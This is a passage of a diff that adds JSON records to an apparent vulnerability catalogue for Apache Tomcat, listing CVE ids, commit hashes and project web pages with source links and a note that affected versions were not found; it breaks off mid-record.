+ "canonical_id": "apache-tomcat--011725d3b7",
+ "system_id": "apache-tomcat",
+ "title": "5053fa82",
+ "official_source_url": "https://github.com/apache/tomcat/commit/5053fa82a1b2b52756810601227984a8b71888a4",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--049b7d0382",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2025-48989",
+ "official_source_url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-48989",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--0a3c261703",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2025-48988",
+ "official_source_url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-48988",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--0ca9da9c59",
+ "system_id": "apache-tomcat",
+ "title": "Taglibs",
+ "official_source_url": "https://tomcat.apache.org/taglibs.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--118d55a36a",
+ "system_id": "apache-tomcat",
+ "title": "238d2aa5",
+ "official_source_url": "https://github.com/apache/tomcat/commit/238d2aa54b99f91d1111467e2237d2244c64e558",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--13118e2458",
+ "system_id": "apache-tomcat",
+ "title": "Tomcat 9",
+ "official_source_url": "https://tomcat.apache.org/download-90.cgi",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--149d716532",
+ "system_id": "apache-tomcat",
+ "title": "af6e9181",
+ "official_source_url": "https://github.com/apache/tomcat/commit/af6e9181620304c0d818121c29c074e1330610d0",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--1ca9fd2888",
+ "system_id": "apache-tomcat",
+ "title": "2aa62612",
+ "official_source_url": "https://github.com/apache/tomcat/commit/2aa6261276ebe50b99276953591e3a2be7898bdb",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--1f1e953630",
+ "system_id": "apache-tomcat",
+ "title": "Tomcat 9.0",
+ "official_source_url": "https://tomcat.apache.org/tomcat-9.0-doc/index.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--207b10584e",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2026-24734",
+ "official_source_url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24734",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--242cf7a166",
+ "system_id": "apache-tomcat",
+ "title": "Presentations",
+ "official_source_url": "https://tomcat.apache.org/presentations.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--2ffc2aa787",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2026-24733",
+ "official_source_url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24733",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--32ce70ac24",
+ "system_id": "apache-tomcat",
+ "title": "130d36d8",
+ "official_source_url": "https://github.com/apache/tomcat/commit/130d36d8492ef9e4eb22952c17c92423cb35fd06",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--33b187389a",
+ "system_id": "apache-tomcat",
+ "title": "Tomcat 10.1",
+ "official_source_url": "https://tomcat.apache.org/tomcat-10.1-doc/index.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--3467b45391",
+ "system_id": "apache-tomcat",
+ "title": "Tomcat Native",
+ "official_source_url": "https://tomcat.apache.org/download-native.cgi",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--35abb36510",
+ "system_id": "apache-tomcat",
+ "title": "Tomcat Native 2",
+ "official_source_url": "https://tomcat.apache.org/native-doc/index.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--3fc96befd0",
+ "system_id": "apache-tomcat",
+ "title": "building.html",
+ "official_source_url": "https://tomcat.apache.org/tomcat-10.0-doc/building.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--41118a6375",
+ "system_id": "apache-tomcat",
+ "title": "667ddd76",
+ "official_source_url": "https://github.com/apache/tomcat/commit/667ddd76e2a0e762f3a784d86f0d25e7fd7cdb86",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--4d22e4456b",
+ "system_id": "apache-tomcat",
+ "title": "8621e4c6",
+ "official_source_url": "https://github.com/apache/tomcat/commit/8621e4c6ba2c916a41eb34cb0f781171ead33fb6",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--524fcf3503",
+ "system_id": "apache-tomcat",
+ "title": "Tomcat Connectors",
+ "official_source_url": "https://tomcat.apache.org/connectors-doc/index.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--55e780c0ef",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2025-52520",
+ "official_source_url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-52520",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--57d32a8906",
+ "system_id": "apache-tomcat",
+ "title": "Which version?",
+ "official_source_url": "https://tomcat.apache.org/whichversion.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--583e0f80f0",
+ "system_id": "apache-tomcat",
+ "title": "Tools",
+ "official_source_url": "https://tomcat.apache.org/tools.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--5bcb504893",
+ "system_id": "apache-tomcat",
+ "title": "Mailing Lists",
+ "official_source_url": "https://tomcat.apache.org/lists.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--5de2d17648",
+ "system_id": "apache-tomcat",
+ "title": "73c04a10",
+ "official_source_url": "https://github.com/apache/tomcat/commit/73c04a10395774bda71a0b37802cf983662ce255",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--5e02bf0896",
+ "system_id": "apache-tomcat",
+ "title": "Who We Are",
+ "official_source_url": "https://tomcat.apache.org/whoweare.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--5e7ef9af14",
+ "system_id": "apache-tomcat",
+ "title": "Bug Database",
+ "official_source_url": "https://tomcat.apache.org/bugreport.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--62347916c4",
+ "system_id": "apache-tomcat",
+ "title": "Maven Plugin",
+ "official_source_url": "https://tomcat.apache.org/maven-plugin.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--656b24de26",
+ "system_id": "apache-tomcat",
+ "title": "Legal",
+ "official_source_url": "https://tomcat.apache.org/legal.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--66500f6f9d",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2025-61795",
+ "official_source_url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-61795",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--69f233a427",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2025-49125",
+ "official_source_url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-49125",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--6cb0b97c81",
+ "system_id": "apache-tomcat",
+ "title": "Tomcat Connectors",
+ "official_source_url": "https://tomcat.apache.org/download-connectors.cgi",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--7362e5d6ec",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2025-48976",
+ "official_source_url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-48976",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--743c78dd96",
+ "system_id": "apache-tomcat",
+ "title": "Security Considerations",
+ "official_source_url": "https://tomcat.apache.org/tomcat-10.0-doc/security-howto.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--745679753c",
+ "system_id": "apache-tomcat",
+ "title": "972f9a5e",
+ "official_source_url": "https://github.com/apache/tomcat/commit/972f9a5e2a07674d92610c478aac1b205d60724e",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--7714a24368",
+ "system_id": "apache-tomcat",
+ "title": "138d7f5c",
+ "official_source_url": "https://github.com/apache/tomcat/commit/138d7f5cfaae683078948303333c080e6faa75d2",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--7d8dd36663",
+ "system_id": "apache-tomcat",
+ "title": "Tomcat Native 1.3",
+ "official_source_url": "https://tomcat.apache.org/native-1.3-doc/index.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--85a3b9b4c9",
+ "system_id": "apache-tomcat",
+ "title": "security impact rating",
+ "official_source_url": "https://tomcat.apache.org/security-impact.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--86b167c195",
+ "system_id": "apache-tomcat",
+ "title": "Contact",
+ "official_source_url": "https://tomcat.apache.org/contact.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--8cf8505808",
+ "system_id": "apache-tomcat",
+ "title": "Home",
+ "official_source_url": "https://tomcat.apache.org/index.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--8f448afa4f",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2025-55754",
+ "official_source_url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55754",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--91d886494d",
+ "system_id": "apache-tomcat",
+ "title": "Blog",
+ "official_source_url": "https://blogs.apache.org/tomcat/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--99779e97b3",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2025-31651",
+ "official_source_url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-31651",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--9d2a8987e8",
+ "system_id": "apache-tomcat",
+ "title": "066bf6b6",
+ "official_source_url": "https://github.com/apache/tomcat/commit/066bf6b6a15a4e7e0941d4acf096841165b97098",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2000-0759",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2000-0759",
+ "official_source_url": "http://www.iss.net/security_center/static/4967.php",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2000-0760",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2000-0760",
+ "official_source_url": "http://www.securityfocus.com/bid/1532",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2000-1210",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2000-1210",
+ "official_source_url": "http://marc.info/?l=bugtraq&m=95371672300045&w=2",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2001-0590",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2001-0590",
+ "official_source_url": "http://archives.neohapsis.com/archives/bugtraq/2001-04/0031.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2001-0829",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2001-0829",
+ "official_source_url": "http://archive.cert.uni-stuttgart.de/archive/bugtraq/2001/07/msg00021.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2002-0493",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2002-0493",
+ "official_source_url": "http://marc.info/?l=bugtraq&m=101709002410365&w=2",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2002-0682",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2002-0682",
+ "official_source_url": "http://archives.neohapsis.com/archives/vulnwatch/2002-q3/0014.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2002-0935",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2002-0935",
+ "official_source_url": "http://archives.neohapsis.com/archives/vulnwatch/2002-q2/0120.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2002-1394",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2002-1394",
+ "official_source_url": "http://issues.apache.org/bugzilla/show_bug.cgi?id=13365",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2002-1567",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2002-1567",
+ "official_source_url": "http://archives.neohapsis.com/archives/vuln-dev/2002-q3/0482.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2002-1895",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2002-1895",
+ "official_source_url": "http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0020.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2002-2006",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2002-2006",
+ "official_source_url": "http://archives.neohapsis.com/archives/bugtraq/2002-04/0311.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2002-2007",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2002-2007",
+ "official_source_url": "http://cert.uni-stuttgart.de/archive/bugtraq/2002/05/msg00272.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2002-2008",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2002-2008",
+ "official_source_url": "http://archives.neohapsis.com/archives/bugtraq/2002-06/0225.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2002-2009",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2002-2009",
+ "official_source_url": "http://tomcat.apache.org/security-4.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2002-2272",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2002-2272",
+ "official_source_url": "http://archives.neohapsis.com/archives/bugtraq/2002-12/0045.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2005-0808",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2005-0808",
+ "official_source_url": "http://www.hitachi-support.com/security_e/vuls_e/HS05-006_e/index-e.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2005-1753",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2005-1753",
+ "official_source_url": "http://marc.info/?l=bugtraq&m=111697083812367&w=2",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2005-1754",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2005-1754",
+ "official_source_url": "http://marc.info/?l=bugtraq&m=111697083812367&w=2",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2005-3164",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2005-3164",
+ "official_source_url": "http://jvn.jp/jp/JVN%2379314822/index.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2005-3510",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2005-3510",
+ "official_source_url": "http://community.ca.com/blogs/casecurityresponseblog/archive/2009/01/23.aspx",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2005-4703",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2005-4703",
+ "official_source_url": "http://osvdb.org/ref/20/20033-tomcat-dos-path_disclosure.txt",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2005-4836",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2005-4836",
+ "official_source_url": "http://tomcat.apache.org/security-4.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2006-3835",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2006-3835",
+ "official_source_url": "http://archives.neohapsis.com/archives/fulldisclosure/2006-07/0467.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2006-7195",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2006-7195",
+ "official_source_url": "http://community.ca.com/blogs/casecurityresponseblog/archive/2009/01/23.aspx",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2006-7196",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2006-7196",
+ "official_source_url": "http://community.ca.com/blogs/casecurityresponseblog/archive/2009/01/23.aspx",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2006-7197",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2006-7197",
+ "official_source_url": "http://issues.apache.org/bugzilla/show_bug.cgi?id=38859",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2007-0450",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2007-0450",
+ "official_source_url": "http://community.ca.com/blogs/casecurityresponseblog/archive/2009/01/23.aspx",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2007-0774",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2007-0774",
+ "official_source_url": "http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c01178795",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2007-1358",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2007-1358",
+ "official_source_url": "http://community.ca.com/blogs/casecurityresponseblog/archive/2009/01/23.aspx",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2007-1491",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2007-1491",
+ "official_source_url": "http://secunia.com/advisories/24434",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2007-1858",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2007-1858",
+ "official_source_url": "http://community.ca.com/blogs/casecurityresponseblog/archive/2009/01/23.aspx",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2007-1860",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2007-1860",
+ "official_source_url": "http://docs.info.apple.com/article.html?artnum=306172",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2007-2449",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2007-2449",
+ "official_source_url": "http://community.ca.com/blogs/casecurityresponseblog/archive/2009/01/23.aspx",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2007-2450",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2007-2450",
+ "official_source_url": "http://community.ca.com/blogs/casecurityresponseblog/archive/2009/01/23.aspx",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2007-3382",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2007-3382",
+ "official_source_url": "http://community.ca.com/blogs/casecurityresponseblog/archive/2009/01/23.aspx",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2007-3383",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2007-3383",
+ "official_source_url": "http://lists.apple.com/archives/security-announce/2008//Jun/msg00002.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2007-3384",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2007-3384",
+ "official_source_url": "http://osvdb.org/39035",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2007-3385",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2007-3385",
+ "official_source_url": "http://community.ca.com/blogs/casecurityresponseblog/archive/2009/01/23.aspx",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2007-3386",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2007-3386",
+ "official_source_url": "http://community.ca.com/blogs/casecurityresponseblog/archive/2009/01/23.aspx",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2007-4724",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2007-4724",
+ "official_source_url": "http://archives.neohapsis.com/archives/bugtraq/2007-09/0040.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2007-5333",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2007-5333",
+ "official_source_url": "http://jvn.jp/jp/JVN%2309470767/index.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2007-5342",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2007-5342",
+ "official_source_url": "http://lists.apple.com/archives/security-announce/2008/Oct/msg00001.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2007-5461",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2007-5461",
+ "official_source_url": "http://geronimo.apache.org/2007/10/18/potential-vulnerability-in-apache-tomcat-webdav-servlet.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2007-6286",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2007-6286",
+ "official_source_url": "http://lists.apple.com/archives/security-announce/2008/Oct/msg00001.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2008-0002",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2008-0002",
+ "official_source_url": "http://lists.apple.com/archives/security-announce/2008/Oct/msg00001.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2008-0128",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2008-0128",
+ "official_source_url": "http://community.ca.com/blogs/casecurityresponseblog/archive/2009/01/23.aspx",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2008-0457",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2008-0457",
+ "official_source_url": "http://secunia.com/advisories/28787",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2008-1232",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2008-1232",
+ "official_source_url": "http://community.ca.com/blogs/casecurityresponseblog/archive/2009/06/15/ca20090615-02-ca-service-desk-tomcat-cross-site-scripting-vulnerability.aspx",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2008-1947",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2008-1947",
+ "official_source_url": "http://lists.apple.com/archives/security-announce/2008/Oct/msg00001.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2016-8735",
+ "system_id": "apache-tomcat",
+ "title": "Apache Tomcat Remote Code Execution Vulnerability",
+ "official_source_url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2017-12615",
+ "system_id": "apache-tomcat",
+ "title": "Apache Tomcat on Windows Remote Code Execution Vulnerability",
+ "official_source_url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2017-12617",
+ "system_id": "apache-tomcat",
+ "title": "Apache Tomcat Remote Code Execution Vulnerability",
+ "official_source_url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2020-1938",
+ "system_id": "apache-tomcat",
+ "title": "Apache Tomcat Improper Privilege Management Vulnerability",
+ "official_source_url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2021-1498",
+ "system_id": "apache-tomcat",
+ "title": "Cisco HyperFlex HX Data Platform Command Injection Vulnerability",
